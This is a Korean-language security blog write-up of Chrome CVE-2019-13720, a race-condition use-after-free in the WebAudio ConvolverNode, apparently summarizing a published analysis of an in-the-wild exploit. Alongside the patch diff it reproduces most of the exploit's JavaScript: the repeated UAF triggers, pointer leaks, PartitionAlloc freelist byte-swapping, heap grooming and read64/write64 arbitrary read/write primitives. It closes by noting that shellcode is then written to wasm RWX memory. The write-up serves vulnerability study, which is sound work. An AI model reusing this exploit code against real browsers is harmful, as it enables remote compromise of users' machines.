chrome CVE-2019-13720 exploit

CVE
Pwnable

라온화이트햇 핵심연구팀 이영주

1. Intro

이 취약점은 북한 뉴스 사이트에서 사용된 0day exploit에서 발견한 취약점이라고 합니다. 저는 https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/ 이곳의 내용을 쉽게 읽을 수 있도록 정리했습니다.

2. Exploit

Obtain graph/process lock when nullifying the buffer in Reverb

When the buffer is set to `null` while there is an active buffer
within a reverb object, SetBuffer() function can prematurely
nullify the `reverb_` and `shared_buffer_` while it is still
being accessed by the rendering thread.

This CL adds two locks (graph lock and process lock) when the
buffer gets nullified to ensure the synchronization between
two threads.

Change-Id: I8f501b6a16b3c7e16db767e0b279a1a53d6eb290
Bug: 1019226
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1888103
Commit-Queue: Hongchan Choi <hongchan@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Cr-Commit-Position: refs/heads/master@{#710627}

취약점은 race-condition이며 취약점은 크롬 78.0.3904.87에서 패치되었습니다. 패치된 커밋은 위와 같습니다.

diff --git a/third_party/blink/renderer/modules/webaudio/convolver_node.cc b/third_party/blink/renderer/modules/webaudio/convolver_node.cc
index c67a0ba..ce19fe6 100644
--- a/third_party/blink/renderer/modules/webaudio/convolver_node.cc
+++ b/third_party/blink/renderer/modules/webaudio/convolver_node.cc
@@ -103,6 +103,8 @@
   DCHECK(IsMainThread());
 
   if (!buffer) {
+    BaseAudioContext::GraphAutoLocker context_locker(Context());
+    MutexLocker locker(process_lock_);
     reverb_.reset();
     shared_buffer_ = nullptr;
     return;
class MODULES_EXPORT ConvolverHandler final : public AudioHandler {
...
  std::unique_ptr<Reverb> reverb_;
  std::unique_ptr<SharedAudioBuffer> shared_buffer_;
...

패치된 내용은 단 두줄인데, 패치된 기능은 ConvolverNode에서 audio buffer가 null이라면 reverb_ 객체와 shared_buffer_ 객체를 free하는 부분입니다. 이곳에 스레드 동기화에 관한 코드가 없기 때문에 free된 이후에도 객체가 다른 스레드에서 사용되고 있을 수 있습니다. 따라서 패치는 race를 방지하는 mutex가 추가되었습니다.

function getSuperPageBase(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let superPageBaseMask = ~superPageOffsetMask;
	let superPageBase = addr & superPageBaseMask;
	return superPageBase;
}
 
function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {
	let superPageBase = getSuperPageBase(addr);
	let partitionPageBase = partitionPageIndex << BigInt(14);
	let finalAddr = superPageBase + partitionPageBase;
	return finalAddr;
}
 
function getPartitionPageIndex(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
	return partitionPageIndex;
}
 
function getMetadataAreaBaseFromPartitionSuperPage(addr) {
	let superPageBase = getSuperPageBase(addr);
	let systemPageSize = BigInt(0x1000);
	return superPageBase + systemPageSize;
}
 
function getPartitionPageMetadataArea(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
	let pageMetadataSize = BigInt(0x20);
	let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;
	return partitionPageMetadataPtr;
}

취약점에서 핵심적인 내용은 PartitionAlloc의 chunk를 exploit 했다는 점인데, 예전에는 이 allocator에서 취약점이 발생했다면 exploit 하는게 거의 불가능하다고 판단했습니다. 하지만 최근에 공개된 여러 자료에 서 PartitionAlloc chunk도 exploit할 수 있는 기법이 알려졌고 이 exploit도 그런 종류중에 하나입니다. 구글도 이 사실을 인지하고있고 이 문제를 해결할 방법을 찾고있는걸로 알고있습니다.

let gcPreventer = [];
let iirFilters = [];
 
function initialSetup() {
	let audioCtx = new OfflineAudioContext(1, 20, 3000);
 
	let feedForward = new Float64Array(2);
	let feedback = new Float64Array(1);
 
	feedback[0] = 1;
	feedForward[0] = 0;
	feedForward[1] = -1;
 
	for (let i = 0; i < 256; i++)
        iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}

exploit 초반부는 OfflineAudioContext를 생성하고 두 개의 float을 통해 초기화되는 IIRFilterNode 객체를 생성합니다.

async function triggerUaF(doneCb) {
	let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
	let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
	let channelBuffer = audioCtx.createBuffer(1, 1, 48000);
 
	convolver.buffer = channelBuffer;
	bufferSource.buffer = channelBuffer;
 
	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;
 
	channelBuffer.getChannelData(0).fill(0);
 
	bufferSource.connect(convolver);
	convolver.connect(scriptNode);
	scriptNode.connect(audioCtx.destination);
 
	bufferSource.start();
 
	let finished = false;
 
	scriptNode.onaudioprocess = function(evt) {
    		let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);
 
    		for (let j = 0; j < channelDataArray.length; j++) {
        		if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
            			let u64Array = new BigUint64Array(1);
            			let u32Array = new Uint32Array(u64Array.buffer);
            			u32Array[0] = channelDataArray[j + 0];
            			u32Array[1] = channelDataArray[j + 1];
 
            			let leakedAddr = byteSwapBigInt(u64Array[0]);
            			if (leakedAddr >> BigInt(32) > BigInt(0x8000))
                			leakedAddr -= BigInt(0x800000000000);
             			let superPageBase = getSuperPageBase(leakedAddr);
 
	             		if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase < BigInt(0xFFFFFFFFFFFF)) {
                			finished = true;
                			evt = null;
 
                			bufferSource.disconnect();
                			scriptNode.disconnect();
                			convolver.disconnect();
 
                			setTimeout(function() {
                     			doneCb(leakedAddr);
                			}, 1);
 
                			return;
            			}
        		}
    		}
	};
 
	audioCtx.startRendering().then(function(buffer) {
    		buffer = null;
 
    		if (!finished) {
        	 	finished = true;
       	  	triggerUaF(doneCb);
    		}
	});
 
	while (!finished) {
    		convolver.buffer = null;
    		convolver.buffer = channelBuffer;
    		await later(100); // wait 100 millseconds
	}
};

이후 Reverb component에 필요한 객체들을 생성하고 OfflineAudioContext와 두개의 ConvolverNode를 생성하여 UAF를 트리거합니다.

function later(delay) {
	return new Promise(resolve => setTimeout(resolve, delay));
}

위 함수를 재귀적으로 호출하여 오디오 채널 버퍼를 0으로 채우고 렌더링을 시작함과 동시 ConvolverNode버퍼를 재설정해서 취약점을 트리거합니다. 여기서 later 함수는 sleep 함수처럼 현재 스레드를 일시 중지하는 역할을 합니다.

실행 중에 exploit은 오디오 채널 버퍼에 0이 아닌 다른값이 있는지 체크해서 만약 다른값이 있다면 UAF가 트리거 되었다고 판단합니다. 이렇게 UAF를 트리거했으면 버퍼에 릭된 값들이 존재합니다.

function byteSwapBigInt(x) {
	let result = BigInt(0);
	let tmp = x;
 
	for (let i = 0; i < 8; i++) {
    		result = result << BigInt(8);
    		result += tmp & BigInt(0xFF);
    		tmp = tmp >> BigInt(8);
	}
 
	return result;
}

PartitionAlloc 메모리 할당자는 위처럼 특수한 exploit 보호기법이 존재합니다. 메모리 영역이 free되면 포인터의 주소를 바이트 스왑한 주소가 free list에 추가됩니다. 따라서 이 주소를 참조하려고하면 크래시가 발생해서 exploit이 어려워집니다. 이 기법을 우회하기 위한 바이트 스왑 함수가 존재합니다.

let sharedAudioCtx;
let iirFilterFeedforwardAllocationPtr;
 
function initialUAFCallback(addr) {
	sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);
 
	let partitionPageIndexDelta = undefined;
	switch (majorVersion) {
    		case 77: // 77.0.3865.75
        	 	partitionPageIndexDelta = BigInt(-26);
        	break;
    		case 76: // 76.0.3809.87
         		partitionPageIndexDelta = BigInt(-25);
      	   	break;
	}
 
	iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);
 
    triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);
}

exploit 진행 시, leak된 포인터를 써서 SuperPage 주소를 가져와 확인합니다. exploit이 잘 진행되었으면 면 initialUAFCallback에 temporary_buffer_ 객체의 raw pointer가 전달됩니다.

이후 leak된 포인터를 이용해 IIRProcessor객체에 존재하는 AudioArray 타입의 feedforward_ 주소를 가져옵니다. 이 배열은 동일한 SuperPage에 존재해야 하지만 다른 버전의 Chrome에서는 이 객체가 다른 PartitionPages에 만들어져서 이를 처리하기 위한 코드가 존재합니다.

let floatArray = new Float32Array(10);
let audioBufferArray1 = [];
let audioBufferArray2 = [];
let imageDataArray = [];
 
async function triggerSecondUAF(addr, doneCb) {
	let counter = 0;
	let numChannels = 1;
 
	let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);
 
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
 
	let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
	let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);
 
	smallAudioBuffer.getChannelData(0).fill(0);
 
	for (let i = 0; i < numChannels; i++) {
    		let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
    		channelDataArray[0] = addr;
	}
 
	bufferSource.buffer = bigAudioBuffer;
	convolver.buffer = smallAudioBuffer;
 
	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;
 
	bufferSource.connect(convolver);
	convolver.connect(audioCtx.destination);
 
	bufferSource.start();
 
	let finished = false;
 
     	audioCtx.startRendering().then(function(buffer) {
     		buffer = null;
 
    		if (finished) {
        		audioCtx = null;
 
        		setTimeout(doneCb, 200);
        		return;
    		} else {
        		finished = true;
 
        		setTimeout(function() {
             		triggerSecondUAF(addr, doneCb);
        		}, 1);
    		}
	});
 
	while (!finished) {
    		counter++;
 
    		convolver.buffer = null;
 
    		await later(1); // wait 1 millisecond
 
    		if (finished)
         		break;
 
    		for (let i = 0; i < iirFilters.length; i++) {
        		floatArray.fill(0);
          	   iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
         		if (floatArray[0] != 3.1415927410125732) {
             			finished = true;
 
             	     		audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
                 		audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
 
            			bufferSource.disconnect();
            			convolver.disconnect();
 
            			return;
        		}
    		}
 
    		convolver.buffer = smallAudioBuffer;
 
    		await later(1); // wait 1 millisecond
	}
}

이렇게 leak이 성공했으면 exploit을 하기 위해 한번더 취약점을 트리거합니다.

void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,
                                    	const float* frequency_hz,
                                    	float* mag_response,
                                    	float* phase_response) {
...
  Vector<float> frequency(n_frequencies);
  double nyquist = this->Nyquist();
  // Convert from frequency in Hz to normalized frequency (0 -> 1),
  // with 1 equal to the Nyquist frequency.
  for (int k = 0; k < n_frequencies; ++k)
	frequency[k] = frequency_hz[k] / nyquist;
...

이 과정에서 취약점 트리거가 성공했는지 확인하기 위해 getFrequencyResponse 함수를 사용합니다. 이 함수는 Nyquist 필터로 채워진 frequencies 배열을 생성하고 연산에 사용되는 배열은 0으로 초기화됩니다.

async function finalUAFCallback() {
	for (let i = 0; i < 256; i++) {
    		floatArray.fill(0);
 
         	iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
    		if (floatArray[0] != 3.1415927410125732) {
        		await collectGargabe();
 
        		audioBufferArray2 = [];
 
        		for (let j = 0; j < 80; j++)
                 		audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));
 
        		iirFilters = new Array(1);
    	     		await collectGargabe();
 
        		for (let j = 0; j < 336; j++)
            			imageDataArray.push(new ImageData(1, 2));
        		imageDataArray = new Array(10);
        		await collectGargabe();
 
        		for (let j = 0; j < audioBufferArray1.length; j++) {
            			let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
            			if (auxArray[0] != BigInt(0)) {
                			kickPayload(auxArray);
                			return;
            			}
             		}
 
        		return;
    		}
	}
}

따라서 결과에 π 이외의 값이 포함되면 exploit이 성공한 것이라 판단합니다. 이 경우에 재귀를 멈추고 finalUAFCallback 함수를 호출하여 오디오 채널 버퍼를 재할당합니다. 그리고 이전에 free된 메모리들을 회수합니다. 또한 다양한 객체를 할당하고 defragmentation를 수행하여 힙을 복구합니다. 이후 BigUint64Array를 이용해 arbitrary read/write 프리미티브를 얻습니다.

async function finalUAFCallback() {
	for (let i = 0; i < 256; i++) {
    		floatArray.fill(0);
 
         	iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
    		if (floatArray[0] != 3.1415927410125732) {
        		await collectGargabe();
 
        		audioBufferArray2 = [];
 
        		for (let j = 0; j < 80; j++)
                 		audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));
 
        		iirFilters = new Array(1);
    	     		await collectGargabe();
 
        		for (let j = 0; j < 336; j++)
            			imageDataArray.push(new ImageData(1, 2));
        		imageDataArray = new Array(10);
        		await collectGargabe();
 
        		for (let j = 0; j < audioBufferArray1.length; j++) {
            			let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
            			if (auxArray[0] != BigInt(0)) {
                			kickPayload(auxArray);
                			return;
            			}
             		}
 
        		return;
    		}
	}
}

heap defragmentation은 GC를 강제로 호출해서 발생시킵니다.

async function kickPayload(auxArray) {
	let audioCtx = new OfflineAudioContext(1, 1, 3000);
	let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
	auxArray[0] = byteSwapBigInt(partitionPagePtr);
	let i = 0;
	do {
    		gcPreventer.push(new ArrayBuffer(8));
    		if (++i > 0x100000)
        		return;
	} while (auxArray[0] != BigInt(0));
	let freelist = new BigUint64Array(new ArrayBuffer(8));
	gcPreventer.push(freelist);
	...

그리고 이전에 free된 AudioArray 데이터의 raw pointer 주소를 포함하는 이전에 생성된 BigUint64Array를 전달하는 kickPayload 함수를 실행합니다.

function read64(rwHelper, addr) {
	rwHelper[0] = addr;
	var tmp = new BigUint64Array;
	tmp.buffer;
	gcPreventer.push(tmp);
	return byteSwapBigInt(rwHelper[0]);
}
 
function write64(rwHelper, addr, value) {
	rwHelper[0] = addr;
	var tmp = new BigUint64Array(1);
	tmp.buffer;
	tmp[0] = value;
	gcPreventer.push(tmp);
}

이후 free된 객체의 PartitionPage 메타 데이터를 조작하여 exploit을 수행합니다. 다른 오브젝트의 주소를 BigUint64Array에 기록하고 새 8 바이트 객체를 만든 뒤 인덱스 0에있는 값을 다시 읽으면 이전에 설정된 주소에서 값을 읽습니다. 이 단계에서 인덱스 0에 무언가가 기록되면이 값은 이전에 설정된 주소에 대신 기록됩니다. 그렇게 해서 arbitrary read/write를 만들고 wasm 코드를 이용해 rwx 영역에 원하는 쉘코드를 적고 exploit할 수 있습니다.